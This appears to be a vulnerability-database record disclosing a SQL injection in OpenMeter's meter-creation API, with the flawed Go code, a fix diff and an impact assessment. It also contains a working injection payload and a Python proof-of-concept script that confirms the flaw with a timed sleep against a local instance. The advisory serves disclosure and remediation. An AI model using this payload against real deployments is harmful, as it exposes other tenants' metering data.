{"id":"CVE-2026-8462","aliases":["GO-2026-5703"],"url":"https://o3.security/vulnerability/CVE-2026-8462","summary":"OpenMeter: SQL injection through meter creation","details":"### Summary\n\nAn authenticated tenant can inject arbitrary SQL through the `valueProperty` or `groupBy` fields of `POST /api/v1/meters`. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data.\n\n### Details\n\n`openmeter/streaming/clickhouse/utils_query.go:15` builds a ClickHouse `SELECT` by interpolating user input with `fmt.Sprintf`:\n\n```go\nsb.Select(fmt.Sprintf(\"JSON_VALUE('{}', '%s')\", sqlbuilder.Escape(d.jsonPath)))\n```\n\n`sqlbuilder.Escape()` (go-sqlbuilder v1.40.2) only replaces `$` → `$$` to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. `sb.Build()` always returns an empty `args` slice — the query is never parameterized.\n\nThe payload must be prefixed with a valid JSONPath expression (e.g. `$.foo`) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which `ValidateJSONPath` silently treats as \"invalid JSONPath\" and returns early — before the injected branch can execute.\n\nWorking payload:\n```\n$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --\n```\n\nGenerated SQL:\n```sql\nSELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --'\n```\n\nFix — replace `fmt.Sprintf` string interpolation with `sb.Var()`, which appends the value to the builder's args list and emits a `?` placeholder:\n\n```diff\n-sb.Select(fmt.Sprintf(\"JSON_VALUE('{}', '%s')\", sqlbuilder.Escape(d.jsonPath)))\n+sb.Select(fmt.Sprintf(\"JSON_VALUE('{}', %s)\", sb.Var(d.jsonPath)))\n```\n\n### PoC\n\n`poc.py`:\n\n```python\nimport json, time, uuid\nfrom urllib.request import Request, urlopen\n\nSLEEP   = 3\nAPI     = \"http://localhost:48888\"\nPAYLOAD = f\"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --\"\n\ndef post_meter(value_property):\n    body = json.dumps({\n        \"slug\":          f\"poc_{uuid.uuid4().hex[:8]}\",\n        \"eventType\":     \"x\",\n        \"aggregation\":   \"SUM\",\n        \"valueProperty\": value_property,\n    }).encode()\n    req = Request(f\"{API}/api/v1/meters\", data=body,\n                  headers={\"Content-Type\": \"application/json\"}, method=\"POST\")\n    t0 = time.monotonic()\n    with urlopen(req, timeout=SLEEP + 10) as r:\n        return r.status, time.monotonic() - t0\n\n_, baseline = post_meter(\"$.tokens\")\nstatus, elapsed = post_meter(PAYLOAD)\n\nprint(f\"baseline : {baseline:.3f}s\")\nprint(f\"injected : {elapsed:.3f}s  (HTTP {status})\")\nprint(f\"result   : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}\")\n```\n\n```shell\ndocker compose up -d\nuntil curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done\npython3 poc.py\n```\n\nExpected output:\n```\nbaseline : 0.036s\ninjected : 3.031s  (HTTP 200)\nresult   : sleep(3) CONFIRMED\n```\n\n### Impact\n\nSQL injection via `POST /api/v1/meters` (`valueProperty` or `groupBy`). Requires a valid tenant API key; no other preconditions. The shared `openmeter.om_events` table has no row-level security — a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible.\n\n### Attribution\nThis vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research.\n\nFor CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research","published":"2026-06-04T18:39:52Z","modified":"2026-06-25T23:11:22.711526686Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/openmeterio/openmeter","fixedVersion":"1.0.0-beta.228"}],"fix":{"url":"https://github.com/openmeterio/openmeter/pull/4383","label":"openmeterio/openmeter#4383"},"references":[{"type":"WEB","url":"https://github.com/openmeterio/openmeter/security/advisories/GHSA-wc3v-3457-c8cm"},{"type":"WEB","url":"https://github.com/openmeterio/openmeter/pull/4383"},{"type":"WEB","url":"https://github.com/openmeterio/openmeter/commit/6ce29e743165890c10346f4c71d5bf79f1ecaf6f"},{"type":"PACKAGE","url":"https://github.com/openmeterio/openmeter"},{"type":"WEB","url":"https://github.com/openmeterio/openmeter/releases/tag/v1.0.0-beta.228"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-06-25T23:11:22.711526686Z"}}